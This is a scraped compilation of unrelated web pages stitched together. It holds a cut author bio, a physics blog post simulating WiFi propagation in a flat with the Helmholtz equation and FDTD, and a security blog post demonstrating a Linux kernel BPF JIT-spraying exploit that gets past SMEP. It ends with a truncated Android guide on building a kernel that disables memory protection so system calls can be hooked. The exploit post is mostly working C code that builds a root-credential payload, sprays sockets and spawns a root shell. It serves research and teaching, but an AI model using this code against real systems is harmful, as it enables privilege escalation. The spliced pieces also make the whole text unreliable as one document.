skills to ensure alignment to the key components: business strategy,
sperations, organisation and technology.  
He is MCP.NET and Brainbench C++/OOD certified.  
| Occupation: | Chief Technology Officer  
---|---  
Location: | <img src='img/Temp2_1516.jpg' width='16px' height='11px' alt='Australia' /> Australia  
## Other popular Hardware & System articles:

  * Start Your Windows Programs From An NT ServiceMake your MFC, VB and other Windows programs behave like NT services. 
  * Serial library for C++A high-performance, complete and compact serial library for C++ 
  * Driver Development Part 1: Introduction to DriversThis article will go into the basics of creating a simple driver. 
  * API hooking revealedThe article demonstrates how to build a user mode Win32 API spying system 
  * Eliminating Explorer's delay when deleting an in-use fileHow to track down and patch an annoyance in Windows Explorer's code. 

  
---

# Helmhurts | Almost looks like work
**Created:**| _8/27/2014 12:45:51 PM_  
---|---  
**Updated:**| _8/27/2014 12:46:56 PM_  
**Author:**| __  
**Tags:**| _wireless math_  
  



A few posts back I was concerned with optimising the WiFi reception in my
flat, and I chose a simple method for calculating the distribution of
electromagnetic intensity. I casually mentioned that I really should be doing
things more rigorously by solving the Helmholtz equation, but then didn’t.
Well, spurred on by a shocking amount of spare time, I’ve given it a go here.







The  Helmholtz equation is used in the modelling of the propagation of
electromagnetic waves. More precisely, if the time-dependence of an
electromagnetic wave can be assumed to be of the form  <img
src='img/Temp2_3764.png' alt='\sin(\omega t)' /> and the dispersion relation
given by  <img src='img/Temp2_3763.png' alt='\omega = ck/n(x)' /> for some
refractive index distribution  <img src='img/Temp2_3773.png' alt='n(x)' />,
then the electric field  <img src='img/Temp2_3800.png' alt='E' /> solves



 <img src='img/Temp2_3785.png' alt='\nabla^2E + \frac{k^2}{n^2}E = f(x)' />



where  <img src='img/Temp2_3765.png' alt='f(x)' /> is some source function.
Given a source of radiation and a geometry to propagate in, in principle the
Helmholtz equation can be solved for the entire radiation field  <img
src='img/Temp2_3774.png' alt='E(x,y,z)' />. In practice this may not be so
simple. Here I chose to model a situation in 2D, and set up a computational
grid of size  <img src='img/Temp2_3789.png' alt='N \times M' /> with grid
cells labelled  <img src='img/Temp2_3768.png' alt='(i,j)' /> for  <img
src='img/Temp2_3781.png' alt='1 &lt; i &lt; N' />,  <img
src='img/Temp2_3801.png' alt='1 &lt; j &lt; M' />. Given this discretisation,
the equation above becomes



 <img src='img/Temp2_3767.png' alt='\frac{E(i+1,j) + E(i-1,j) -
2E(i,j)}{\Delta x^2} + \frac{E(i,j+1) + E(i,j-1) - 2E(i,j)}{\Delta y^2} +
\frac{k^2}{n(i,j)^2}E(i,j) = f(i,j).' />



This is a linear equation in the ‘current’ cell  <img src='img/Temp2_3780.png'
alt='E(i,j)' /> as a function of its 4 neighbours. Each cell has an equation
describing the relationship with its neighbours, so there are  <img
src='img/Temp2_3803.png' alt='NM' /> equations in  <img
src='img/Temp2_3803.png' alt='NM' /> unknowns. This motivates a linear
algebraic approach to the problem – if all equations can be represented as one
giant matrix equation, that matrix can be inverted and an exact solution for
 <img src='img/Temp2_3800.png' alt='E' /> recovered. In particular we’ll have
 <img src='img/Temp2_3770.png' alt='\mathbf{M}\mathbf{E} = \mathbf{f}' /> for
some matrix  <img src='img/Temp2_3778.png' alt='\mathbf{M}' />, and we can
compute  <img src='img/Temp2_3775.png' alt='\mathbf{E} =
\mathbf{M}^{-1}\mathbf{f}' />.  
   
This is slightly tricky due to the fact that a 2D labelling system  <img
src='img/Temp2_3768.png' alt='(i,j)' /> needs to be converted to a 1D
labelling system  <img src='img/Temp2_3802.png' alt='n' />, as the 2D
simulation domain needs to be converted to a 1D vector. I use the translation
that  <img src='img/Temp2_3787.png' alt='n = M(i-1) +j' /> so that



 <img src='img/Temp2_3782.png' alt='(1,1) \rightarrow 1 \\ \vdots \\ (1,M)
\rightarrow M \\ (2,1) \rightarrow M+1 \\ \vdots \\ (N,M) \rightarrow NM.' />



A pair of cells  <img src='img/Temp2_3768.png' alt='(i,j)' /> and  <img
src='img/Temp2_3784.png' alt='(i+1,j)' /> are then separated by  <img
src='img/Temp2_3790.png' alt='M' /> in this new labelling system, and a pair
of cells  <img src='img/Temp2_3783.png' alt='(i,j+1))' /> and  <img
src='img/Temp2_3768.png' alt='(i,j)' /> separated by 1.  
   
The row in the matrix equation corresponding to the  <img
src='img/Temp2_3768.png' alt='(i,j)' />th cell looks like



 <img src='img/Temp2_3762.png' alt='\left(\begin{array}{ccccccccc} \vdots
&amp; \vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \vdots
&amp; \vdots &amp; \vdots \\ \dots &amp; \frac{1}{\Delta x^2} &amp; \dots
&amp; \frac{1}{\Delta y^2} &amp; -\frac{2}{\Delta x^2} - \frac{2}{\Delta y^2}
+ \frac{k^2}{n(i,j)^2} &amp; \frac{1}{\Delta y^2} &amp; \dots &amp;
\frac{1}{\Delta x^2} &amp; \dots \\ \vdots &amp; \vdots &amp; \vdots &amp;
\vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \vdots
\end{array}\right) \left(\begin{array}{c} \vdots \\ E(i-1,j) \\ \vdots \\
E(i,j-1) \\ E(i,j) \\ E(i,j+1) \\ \vdots\\ E(i+1,j)\\ \vdots
\end{array}\right)= \left(\begin{array}{c} \vdots \\ f(i-1,j) \\ \vdots \\
f(i,j-1) \\ f(i,j) \\ f(i,j+1) \\ \vdots\\ f(i+1,j)\\ \vdots
\end{array}\right)' />



where there are  <img src='img/Temp2_3790.png' alt='M' /> blank cells between
the  <img src='img/Temp2_3792.png' alt='1/\Delta x^2' /> and  <img
src='img/Temp2_3797.png' alt='1/\Delta y^2' /> cells. In fact, it is clear
that the vast majority of the matrix is zero, which can help when considering
the sheer size of the matrix. For this problem a room is approximately 5 m
across, and the wavelength to resolve is around 5 cm. We will require  <img
src='img/Temp2_3788.png' alt='N &gt; 500' /> or so then, which means the
number of elements is around  <img src='img/Temp2_3776.png' alt='10^{10}' />\!
Storing each as a single precision number would require around 60 GB of RAM,
and my poor battered laptop wouldn’t have a chance inverting that matrix even
if it would fit in memory.  
   
Fortunately this problem has crept up on people cleverer than I, and they
invented the concept of the sparse matrix, or a matrix filled mostly with
zeros. We can visualise the structure of our matrix using the handy Matlab
function spy – as plotted below it shows which elements of the matrix are
nonzero.



  <img src='img/Temp2_3761.png' alt='Sparse' />



Here  <img src='img/Temp2_3798.png' alt='NM = 28' />, so there are 784
elements in the matrix. However only 64 of those are nonzero, just 8% of the
matrix is actually useful in computation\! This drops to 4% if the resolution
of our grid jumps by a factor of 10, and stays around 5% for another factor of
10. There is a special data structure in Matlab for sparse matricies, and
using it speeds up calculation of inverses by orders of magnitude. In this
case the code is literally a hundred times faster and uses a fraction of the
memory.  
   
Moving on to the physics then, what does a solution of the Helmholtz equation
look like? On the unit square for large  <img src='img/Temp2_3759.png' alt='k'
/>, the quickest way is actually to use a packet of rice – see e.g.  here.  
   
In this calculation I’ve set boundary conditions that  <img
src='img/Temp2_3766.png' alt='E = 0' /> on the edges of the square, and set
 <img src='img/Temp2_3804.png' alt='f(x,y) = \delta(x,y)' />. It turns out
that the Helmholtz equation can also be applied to the modelling of the forced
vibrations of the square plate, where the choice of conditions above equates
to applying a force at the centre of the plate and clamping the edges. The
rice/sand/etc settles at the nodes of the plate, i.e. the positions which stay
stationary in the oscillation.  
   
Visualised below are a selected few pretty pictures where I’ve taken a
logarithmic colour scale to highlight the positions of zero electric field –
the ‘nodes’. As the animation proceeds  <img src='img/Temp2_3759.png' alt='k'
/> starts high and gradually gets lower, corresponding to fast plate
oscillations gradually getting slower.



  <img src='img/Temp2_3799.png' alt='Plates' />



Once again physics has turned out unexpectedly pretty and distracted me away
from my goal, and this post becomes a microcosm of the entire concept of the
blog…  
   
Moving onwards, I’ll recap the layout of the flat where I’m hoping to improve
the signal reaching my computer from my WiFi router:



  <img src='img/Temp2_3760.png' alt='Flat_layout' />



I can use this image to act as a refractive index map – walls are very high
refractive index, and empty space has a refractive index of 1. I then set up
the WiFi antenna as a small radiation source hidden away somewhat uselessly in
the corner. Starting with a radiation wavelength of 10 cm, I end up with an
electromagnetic intensity map which looks like this:



  <img src='img/Temp2_3786.png' width='1200' height='666'
alt='RouterActualHelmholtz' />



This is, well, surprisingly great to look at, but is very much unexpected. I
would have expected to see some region of ‘brightness’ around the
electromagnetic source, fading away into the distance perhaps with some funky
diffraction effects going on. Instead we get a wispy structure with filaments
of strong field strength snaking their way around. There are noticeable black
spots too, recognisable to anyone who’s shifted position in a chair and having
their phone conversation dropped.



What if we stuck the router in the kitchen?



  <img src='img/Temp2_3769.png' width='1200' height='666'
alt='RouterKitchenHelmholtz' />



This seems to help the reception in all of the flat except the bedrooms,
though we would have to deal with lightning striking the cupboard under the
stairs it seems.



What about smack bang in the middle of the flat?



  <img src='img/Temp2_3793.png' width='1200' height='666'
alt='RouterMiddleHelmholtz' />



Thats more like it\! Tendrils of internet goodness can get everywhere, even
into the bathroom where _ __no one at all_ occasionally reads BBC News with
numb legs. Unfortunately this is probably not a viable option.



Actually the distribution of field strength seems extremely sensitive to every
parameter, be it the position of the router, the wavelength of the radiation,
or the refractive index of the front door. This probably requires some
averaging over parameters or grid convergence scan, but given it takes this
laptop 10 minutes or so to conjure up each of the above images, that’s
probably out of the question for now.



** ****UPDATE**



As suggested by a helpful commenter, I tried adding in an imaginary component
of the refractive index for the walls, taken from  here. This allows for some
absorption in the concrete, and stops the perfect reflections forming a
standing wave which almost perfectly cancels everything out. The results look
like something I would actually expect:



  <img src='img/Temp2_3796.png' alt='Damping' />



** ****END UPDATE**



It’s quite surprising that the final results should be so sensitive, but given
we’re performing a matrix inversion in the solution, the field strength at
every position depends on the field strength at every other position. This
might seem to be invoking some sort of non-local interaction of the
electromagnetic field, but actually its just due to the way we’ve decided to
solve the problem.



The Helmholtz equation implicitly assumes a solution independent of time,
other than a sinusoidal oscillation. What we end up with is then a system at
equilibrium, oscillating back and forth as a trapped standing wave. In effect
the antenna has been switched on for an infinite amount of time and all
possible reflections, refractions, transmissions etc. have been allowed to
happen. There is certainly enough time for all parts of the flat to affect
every other part of the flat then, and ‘non-locality’ isn’t an issue. In a
practical sense, after a second the electromagnetic waves have had time to zip
around the place billions of times and so equilibrium happens extremely
quickly.



Now it’s all very well and good to chat about this so glibly, because we’re
all physicists and 90% of the time we’re rationalising away difficult-to-do
things as ‘obvious’ or ‘trivial’ to avoid doing any work. Unfortunately for me
the point of this blog is to do lots of work in my spare time while avoiding
doing anything actually useful, so lets see if we can’t have a go at the time-
dependent problem. Once we start reintroducing  <img src='img/Temp2_3771.png'
alt='d/dt' />‘s into the Helmholtz equation it’s actually not an approximation
at all any more and we’re back to solving the full set of Maxwell’s equations.



This is exactly what the FDTD technique achieves – Finite Difference Time
Domain. The FD means we’re solving equations on a grid, and the TD just makes
it all a bit harder. To be specific there is a simple algorithm to march
Maxwell’s equations forwards in time, namely



 <img src='img/Temp2_3772.png' alt='E_x(t + \Delta t) = E_x(t) + \frac{\Delta
t}{\epsilon}\left(\frac{\partial H_z(t)}{\partial y} - \frac{\partial
H_y(t)}{\partial z} - I_x(t)\right) \\ E_y(t + \Delta t) = E_y(t) +
\frac{\Delta t}{\epsilon}\left(\frac{\partial H_z(t)}{\partial x} -
\frac{\partial H_x(t)}{\partial z} - I_y(t)\right) \\ E_z(t + \Delta t) =
E_z(t) + \frac{\Delta t}{\epsilon}\left(\frac{\partial H_y(t)}{\partial x} -
\frac{\partial H_x(t)}{\partial y} - I_z(t)\right) \\ \\ H_x(t + \Delta t) =
H_x(t) - \frac{\Delta t}{\mu}\left(\frac{\partial E_z(t)}{\partial y} -
\frac{\partial E_y(t)}{\partial z}\right) \\ H_y(t + \Delta t) = H_y(t) -
\frac{\Delta t}{\mu}\left(\frac{\partial E_z(t)}{\partial x} - \frac{\partial
E_x(t)}{\partial z}\right) \\ H_z(t + \Delta t) = H_z(t) - \frac{\Delta
t}{\mu}\left(\frac{\partial E_y(t)}{\partial x} - \frac{\partial
E_x(t)}{\partial y}\right).' />



I’ve introduced a current source  <img src='img/Temp2_3795.png' alt='I' /> and
the relative permittivity/permeability  <img src='img/Temp2_3791.png'
alt='\epsilon' /> and  <img src='img/Temp2_3779.png' alt='\mu' /> such that
 <img src='img/Temp2_3777.png' alt='c/n = 1/\sqrt{\epsilon\mu}' />. We can use
all of the machinery mentioned above to discretise the flat layout into a
grid, but this time repeatedly apply the above equations. All 6 variables are
stored on the grid and updated for every time step. The RAM requirements
aren’t so strict in this case which would allow me to model the full flat down
to millimetre resolution, but this is just too slow. A full simulation might
take all day, and even I can’t justify that. Running one at a longer
wavelength  <img src='img/Temp2_3794.png' alt='\lambda =' /> 30cm allows me to
drop the resolution enough to run a quick simulation before I go to bed.



With the router in approximately the correct place, you can see the radiation
initially stream out of the router. There are a few reflections at first, but
once the flat has been filled with field it becomes static quite quickly, and
settles into an oscillating standing wave. This looks very much like the
‘infinite time’ Helmholtz solution above, albeit at a longer wavelength, and
justifies some of the hand-waving ‘intuition’ I tried to fool you with.



  
  

# main is usually a function: Attacking hardened Linux systems with kernel JIT
spraying

**Created:**| _11/18/2012 8:15:56 AM_  
---|---  
**Updated:**| _11/18/2012 8:15:56 AM_  
**Author:**| __  
**Tags:**| _Exploit Linux hardending smep_  
  

## Saturday, November 17, 2012

###  Attacking hardened Linux systems with kernel JIT spraying

Intel's new Ivy Bridge CPUs support a security feature called Supervisor Mode
Execution Protection \(SMEP\). It's supposed to thwart privilege escalation
attacks, by preventing the kernel from executing a payload provided by
userspace. In reality, there are many ways to bypass SMEP.

This article demonstrates one particularly fun approach. Since the Linux
kernel implements a just-in-time compiler for Berkeley Packet Filter programs,
we can use a JIT spraying attack to build our attack payload within the
kernel's memory. Along the way, we will use another fun trick to create
thousands of sockets even if `RLIMIT_NOFILE` is set as low as 11.

If you have some idea what I'm talking about, feel free to skip the next few
sections and get to the gritty details. Otherwise, I hope to provide enough
background that anyone with some systems programming experience can follow
along. The code is available on GitHub too.

Note to script kiddies: This code won't get you root on any real system. It's
not an exploit against current Linux; it's a demonstration of how such an
exploit could be modified to bypass SMEP protections.

# Kernel exploitation and SMEP

The basis of kernel security is the CPU's distinction between user and kernel
mode. Code running in user mode cannot manipulate kernel memory. This allows
the kernel to store things \(like the user ID of the current process\) without
fear of tampering by userspace code.

In a typical kernel exploit, we trick the kernel into jumping to our payload
code while the CPU is still in kernel mode. Then we can mess with kernel data
structures and gain privileges. The payload can be an ordinary function in the
exploit program's memory. After all, the CPU in kernel mode is allowed to
execute user memory: it's allowed to do anything\!

But what if it wasn't? When SMEP is enabled, the CPU will block any attempt to
execute user memory while in kernel mode. \(Of course, the kernel still has
ultimate authority and can disable SMEP if it wants to. The goal is to prevent
_unintended_ execution of userspace code, as in a kernel exploit.\)

So even if we find a bug which lets us hijack kernel control flow, we can only
direct it towards legitimate kernel code. This is a lot like exploiting a
userspace program with no-execute data, and the same techniques apply.

If you haven't seen some kernel exploits before, you might want to check out
the talk I gave, or the many references linked from those slides.

# JIT spraying

JIT spraying \[PDF\] is a viable tactic when we \(the attacker\) control the
input to a just-in-time compiler. The JIT will write into executable memory on
our behalf, and we have some control over what it writes.

Of course, a JIT compiling untrusted code will be careful with what
instructions it produces. The trick of JIT spraying is that seemingly
innocuous instructions can be trouble when looked at another way. Suppose we
input this \(pseudocode\) program to a JIT:

[code]

    x = 0xa8XXYYZZ
    x = 0xa8PPQQRR
    x = ...
[/code]

\(Here `XXYYZZ` and `PPQQRR` stand for arbitrary three-byte quantities.\) The
JIT might decide to put variable `x` in the `%eax` machine register, and
produce x86 code like this:

[code]

    machine code      assembly (AT&T syntax)
    
    b8 ZZ YY XX a8    mov $0xa8XXYYZZ, %eax
    b8 RR QQ PP a8    mov $0xa8PPQQRR, %eax
    b8 ...
[/code]

Looks harmless enough. But suppose we use a vulnerability elsewhere to direct
control flow to the second byte of this program. The processor will then see
an instruction stream like

[code]

    ZZ YY XX          (payload instruction)
    a8 b8             test $0xb8, %al
    RR QQ PP          (payload instruction)
    a8 b8             test $0xb8, %al
    ...
[/code]

We control those bytes `ZZ YY XX` and `RR QQ PP`. So we can smuggle any
sequence of three-byte x86 instructions into an executable memory page. The
classic scenario is browser exploitation: we embed our payload into a
JavaScript or Flash program as above, and then exploit a browser bug to
redirect control into the JIT-compiled code. But it works equally well against
kernels, as we shall see.

# Attacking the BPF JIT

Berkeley Packet Filters \(BPF\) allow a userspace program to specify which
network traffic it wants to receive. Filters are virtual machine programs
which run in kernel mode. This is done for efficiency; it avoids a system call
round-trip for each rejected packet. Since version 3.0, Linux on AMD64
optionally implements the BPF virtual machine using a just-in-time compiler.

For our JIT spray attack, we will build a BPF program in memory.

[code]

    size_t code_len = 0;
    struct sock_filter code[1024];
    
    void emit_bpf(uint16_t opcode, uint32_t operand) {
        code[code_len++] = (struct sock_filter) BPF_STMT(opcode, operand);
    }
[/code]

A BPF "load immediate" instruction will compile to `mov $x, %eax`. We embed
our payload instructions inside these, exactly as we saw above.

[code]

    // Embed a three-byte x86 instruction.
    void emit3(uint8_t x, uint8_t y, uint8_t z) {
        union {
            uint8_t  buf[4];
            uint32_t imm;
        } operand = {
            .buf = { x, y, z, 0xa8 }
        };
    
        emit_bpf(BPF_LD+BPF_IMM, operand.imm);
    }
    
    // Pad shorter instructions with nops.
    #define emit2(_x, _y) emit3((_x), (_y), 0x90)
    #define emit1(_x)     emit3((_x), 0x90, 0x90)
[/code]

Remember, the byte `a8` eats the opcode `b8` from the following legitimate
`mov` instruction, turning into the harmless instruction `test $0xb8, %al`.

Calling a kernel function is a slight challenge because we can only use three-
byte instructions. We load the function's address one byte at a time, and
sign-extend from 32 bits.

[code]

    void emit_call(uint32_t addr) {
        emit2(0xb4, (addr & 0xff000000) >> 24);  // mov  $x,  %ah
        emit2(0xb0, (addr & 0x00ff0000) >> 16);  // mov  $x,  %al
        emit3(0xc1, 0xe0, 0x10);                 // shl  $16, %eax
        emit2(0xb4, (addr & 0x0000ff00) >>  8);  // mov  $x,  %ah
        emit2(0xb0, (addr & 0x000000ff));        // mov  $x,  %al
        emit2(0x48, 0x98);                       // cltq
        emit2(0xff, 0xd0);                       // call *%rax
    }
[/code]

Then we can build a classic "get root" payload like so:

[code]

    emit3(0x48, 0x31, 0xff);  // xor  %rdi, %rdi
    emit_call(get_kernel_symbol("prepare_kernel_cred"));
    emit3(0x48, 0x89, 0xc7);  // mov  %rax, %rdi
    emit_call(get_kernel_symbol("commit_creds"));
    emit1(0xc3);              // ret
[/code]

This is just the C call

[code]

    commit_creds(prepare_kernel_cred(0));
[/code]

expressed in our strange dialect of machine code. It will give root privileges
to the process the kernel is currently acting on behalf of, i.e., our exploit
program.

Looking up function addresses is a well-studied part of kernel exploitation.
My `get_kernel_symbol` just greps through `/proc/kallsyms`, which is a
simplistic solution for demonstration purposes. In a real-world exploit you
would search a number of sources, including hard-coded values for the
precompiled kernels put out by major distributions.

Alternatively the JIT spray payload could just disable SMEP, then jump to a
traditional payload in userspace memory. We don't need any kernel functions to
disable SMEP; we just poke a CPU control register. Once we get to the
traditional payload, we're running normal C code in kernel mode, and we have
the flexibility to search memory for any functions or data we might need.

# Filling memory with sockets

The "spray" part of JIT spraying involves creating many copies of the payload
in memory, and then making an informed guess of the address of one of them. In
Dion Blazakis's original paper, this is done using a separate information leak
in the Flash plugin.

For this kernel exploit, it turns out that we don't need any information leak.
The BPF JIT uses `module_alloc` to allocate memory in the 1.5 GB space
reserved for kernel modules. And the compiled program is aligned to a page,
i.e., a multiple of 4 kB. So we have fewer than 19 bits of address to guess.
If we can get 8000 copies of our program into memory, we have a 1 in 50 chance
on each guess, which is not too bad.

Each socket can only have one packet filter attached, so we need to create a
bunch of sockets. This means we could run into the resource limit on the
number of open files. But there's a fun way around this limitation. \(I
learned this trick from Nelson Elhage but I haven't seen it published
before.\)

UNIX domain sockets can transmit things other than raw bytes. In particular,
they can transmit file descriptors1. An FD sitting in a UNIX socket buffer
might have already been closed by the sender. But it could be read back out in
the future, so the kernel has to maintain all data structures relating to the
FD — including BPF programs\!

So we can make as many BPF-filtered sockets as we want, as long as we send
them into _other_ sockets and close them as we go. There are limits on the
number of FDs enqueued on a socket, as well as the depth2 of sockets sent
through sockets sent through etc. But we can easily hit our goal of 8000
filter programs using a tree structure.

[code]

    #define SOCKET_FANOUT 20
    #define SOCKET_DEPTH   3
    
    // Create a socket with our BPF program attached.
    int create_filtered_socket() {
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &filt, sizeof(filt));
        return fd;
    }
    
    // Send an fd through a UNIX socket.
    void send_fd(int dest, int fd_to_send);
    
    // Create a whole bunch of filtered sockets.
    void create_socket_tree(int parent, size_t depth) {
        int fds[2];
        size_t i;
        for (i=0; i<SOCKET_FANOUT; i++) {
            if (depth == (SOCKET_DEPTH - 1)) {
                // Leaf of the tree.
                // Create a filtered socket and send it to 'parent'.
                fds[0] = create_filtered_socket();
                send_fd(parent, fds[0]);
                close(fds[0]);
            } else {
                // Interior node of the tree.
                // Send a subtree into a UNIX socket pair.
                socketpair(AF_UNIX, SOCK_DGRAM, 0, fds);
                create_socket_tree(fds[0], depth+1);
    
                // Send the pair to 'parent' and close it.
                send_fd(parent, fds[0]);
                send_fd(parent, fds[1]);
                close(fds[0]);
                close(fds[1]);
            }
        }
    }
[/code]

The interface for sending FDs through a UNIX socket is really, _really_ ugly,
so I didn't show that code here. You can check out the implementation of
`send_fd` if you want to.

# The exploit

Since this whole article is about a strategy for exploiting kernel bugs, we
need some kernel bug to exploit. For demonstration purposes I'll load an
obviously insecure kernel module which will jump to any address we write to
`/proc/jump`.

We know that a JIT-produced code page is somewhere in the region used for
kernel modules. We want to land 3 bytes into this page, skipping an `xor %eax,
%eax` \(`31 c0`\) and the initial `b8` opcode.

[code]

    #define MODULE_START 0xffffffffa0000000UL
    #define MODULE_END   0xfffffffffff00000UL
    #define MODULE_PAGES ((MODULE_END - MODULE_START) / 0x1000)
    
    #define PAYLOAD_OFFSET 3
[/code]

A bad guess will likely oops the kernel and kill the current process. So we
fork off child processes to do the guessing, and keep doing this as long as
they're dying with `SIGKILL`.

[code]

    int status, jump_fd, urandom;
    unsigned int pgnum;
    uint64_t payload_addr;
    
    // ...
    
    jump_fd = open("/proc/jump",   O_WRONLY);
    urandom = open("/dev/urandom", O_RDONLY);
    
    do {
        if (!fork()) {
            // Child process
            read(urandom, &pgnum, sizeof(pgnum));
            pgnum %= MODULE_PAGES;
            payload_addr = MODULE_START + (0x1000 * pgnum) + PAYLOAD_OFFSET;
    
            write(jump_fd, &payload_addr, sizeof(payload_addr));
            execl("/bin/sh", "sh", NULL);  // Root shell!
        } else {
            wait(&status);
        }
    } while (WIFSIGNALED(status) && (WTERMSIG(status) == SIGKILL));
[/code]

The `fork`ed children get a copy the whole process's state, of course, but
they don't actually need it. The BPF programs live in kernel memory, which is
shared by all processes. So the program that sets up the payload could be
totally unrelated to the one that guesses addresses.

# Notes

The full source is available on GitHub. It includes some error handling and
cleanup code that I elided above.

I'll admit that this is mostly a curiosity, for two reasons:

  * SMEP is not widely deployed yet.
  * The BPF JIT is disabled by default, and distributions don't enable it.

Unless Intel abandons SMEP in subsequent processors, it will be widespread
within a few years. It's less clear that the BPF JIT will ever catch on as a
default configuration. But I'll note in passing that Linux is now using BPF
programs for process sandboxing as well.

The BPF JIT is enabled by writing `1` to `/proc/sys/net/core/bpf_jit_enable`.
You can write `2` to enable a debug mode, which will print the compiled
program and its address to the kernel log. This makes life unreasonably easy
for my exploit, by removing the address guesswork.

I don't have a CPU with SMEP, but I did try a grsecurity / PaX hardened
kernel. PaX's KERNEXEC feature implements3 in software a policy very similar
to SMEP. And indeed, the JIT spray exploit succeeds where a traditional jump-
to-userspace fails. \(grsecurity has other features that would mitigate this
attack, like the ability to lock out users who oops the kernel.\)

The ARM, SPARC, and 64-bit PowerPC architectures each have their own BPF JIT.
But I don't think they can be used for JIT spraying, because these
architectures have fixed-size, aligned instructions. Perhaps on an ARM kernel
built for Thumb-2...

* * *
  1. Actually, file _descriptions_. The description is the kernel state pertaining to an open file. The descriptor is a small integer referring to a file description. When we send an FD into a UNIX socket, the descriptor number received on the other end might be different, but it will refer to the same description.↩
  2. While testing this code, I got the error `ETOOMANYREFS`. This was easy to track down, as there's only one place in the entire kernel where it is used.↩
  3. On i386, KERNEXEC uses x86 segmentation, with negligible performance impact. Unfortunately, AMD64's vestigial segmentation is not good enough, so there KERNEXEC relies on a GCC plugin to instrument every computed control flow instruction in the kernel. Specifically, it `or`s the target address with `(1 << 63)`. If the target was a userspace address, the new address will be non-canonical and the processor will fault.↩

# Vantage Point Security

**Created:**| _5/12/2017 1:07:31 PM_  
---|---  
**Updated:**| _5/12/2017 1:07:31 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded_  
  

  

The Android kernel is a powerful ally to the reverse engineer. While regular
Android apps are hopelessly restricted and sandboxed, you - the reverser - can
customize and alter the behavior of the operating system and kernel any way
you wish. This gives you a really unfair advantage, because most integrity
checks and anti-tampering features ultimately rely on services performed by
the kernel. Deploying a kernel that abuses this trust, and unabashedly lies
about itself and the environment, goes a long way in defeating most reversing
defenses that malware authors \(or normal developers\) can throw at you.

Android apps have several ways of interacting with the OS environment. The
standard way is through the APIs of the Android Application Framework. On the
lowest level however, many important functions, such as allocating memory and
accessing files, are translated into perfectly old-school Linux system calls.
In ARM Linux, system calls are invoked via the SVC instruction which triggers
a software interrupt. This interrupt calls the vector\_swi\(\) kernel
function, which then uses the system call number as an offset into a table of
function pointers \(a.k.a.  _sys\_call\_table_ on Android\).

The most straightforward way of intercepting system calls is injecting your
own code into kernel memory, then overwriting the original function in the
system call table to redirect execution. Unfortunately, current stock Android
kernels enforce memory restrictions that prevent this from working.
Specifically, stock Lollipop and Marshmallow kernel are built with the
CONFIG\_STRICT\_MEMORY\_RWX option enabled. This prevents writing to kernel
memory regions marked as read-only, which means that any attempts to patch
kernel code or the system call table result in a segmentation fault and
reboot. A way to get around this is to build your own kernel: You can then
deactivate this protection, and make many other useful customizations to make
reverse engineering easier. If you're reversing Android apps on a regular
basis, building your own reverse engineering sandbox is a no-brainer.

Note: The steps below work on Ubuntu 14.04 with Android NDK 4.8. Personally
I'm still traumatized from multiple failed attempts of getting this to work on
Mac OS. I recommend taking that route only if you're a masochist - everyone
else is better served by using an Ubuntu VM.

## Building the Kernel

For hacking purposes, I recommend using an AOSP-supported device. Google’s
Nexus smartphones and tablets are the most logical candidates – kernels and
system components built from the AOSP run on them without issues.
Alternatively, Sony’s Xperia series is also known for its openness. To build
the AOSP kernel you need a toolchain \(set of programs to cross-compile the
sources\) as well as the appropriate version of the kernel sources. Follow
Google's instructions to identify the correct git repo and branch for a given
device and Android version.

For example, to get kernel sources for Lollipop that are compatible with the
Nexus 5, you need to clone the "msm" repo and check out one the "android-msm-
hammerhead" branch \(hammerhead is the codename of the Nexus 5, and yes,
finding the right branch is a confusing process\). Once the sources are
downloaded, create the default kernel config with the command make
hammerhead\_defconfig \(or whatever\_defconfig, depending on your target
device\).

[code]

    $ git clone https://android.googlesource.com/kernel/msm.git
    $ cd msm
    $ git checkout origin/android-msm-hammerhead-3.4-lollipop-mr1 
    $ export ARCH=arm 
    $ export SUBARCH=arm
    $ make hammerhead_defconfig
    $ vim .config 
[/code]

To enable system call hooking, I recommend adding loadable module support,
exposing the /dev/kmem interface, and exporting the global kernel symbols.
Don't forget to deactivate strict memory protection as well. Most of these
options should already exist in the config file - simply set them to the
values recommended below.

[code]

    CONFIG_MODULES=Y
    CONFIG_MODULE_UNLOAD=y
    CONFIG_STRICT_MEMORY_RWX=N
    CONFIG_DEVMEM=Y
    CONFIG_DEVKMEM=Y
    CONFIG_KALLSYMS=Y
    CONFIG_KALLSYMS_ALL=Y 
[/code]

Once you are finished editing save the .config file. Optionally, you can now
create a standanlone toolchain for cross-compiling the kernel and later tasks.
To create a toolchain for Android 5.1, run make-standalone-toolchain.sh from
the Android NDK package as follows:

[code]

    $ cd android-ndk-rXXX
    $ build/tools/make-standalone-toolchain.sh --arch=arm --platform=android-21 --install-dir=/tmp/my-android-toolchain
[/code]

Set the CROSS\_COMPILE environment variable to point to your NDK directory and
run "make" to build the kernel.

[code]

    $ export CROSS_COMPILE=/tmp/my-android-toolchain/bin/arm-eabi- 
    $ make 
[/code]

When the build process \(hopefully\) completes successfully, you will find the
bootable kernel image at arch/arm/boot/zImage-dtb.

## Booting Your Shiny New Kernel

Before booting into the new Kernel, make a copy of the original boot image
from your device. Look up the location of the boot partition as follows:

[code]

    root@hammerhead:/dev # ls -al /dev/block/platform/msm_sdcc.1/by-name/         
    lrwxrwxrwx root     root              1970-08-30 22:31 DDR -> /dev/block/mmcblk0p24
    lrwxrwxrwx root     root              1970-08-30 22:31 aboot -> /dev/block/mmcblk0p6
    lrwxrwxrwx root     root              1970-08-30 22:31 abootb -> /dev/block/mmcblk0p11
    **lrwxrwxrwx root     root              1970-08-30 22:31 boot - > /dev/block/mmcblk0p19**
    (...)
    lrwxrwxrwx root     root              1970-08-30 22:31 userdata -> /dev/block/mmcblk0p28
[/code]

Then, dump the whole thing into a file:

[code]

    $ adb shell "su -c dd if=/dev/block/mmcblk0p19 of=/data/local/tmp/boot.img"
    $ adb pull /data/local/tmp/boot.img
[/code]

Next, extract the ramdisk as well as some information about the structure of
the boot image. There are various tools that can do this - I used Gilles
Grandou's abootimg tool. Install the tool and run the following command on
your boot image:

[code]

    $ abootimg -x boot.img 
[/code]

This should create the files bootimg.cfg, initrd.img and zImage \(your
original kernel\) in the local directory.

You can now use fastboot to test the new kernel. The "fastboot boot" command
allows you to run the kernel without actually flashing it \(once you’re sure
everything works, you can make the changes permanent with fastboot flash - but
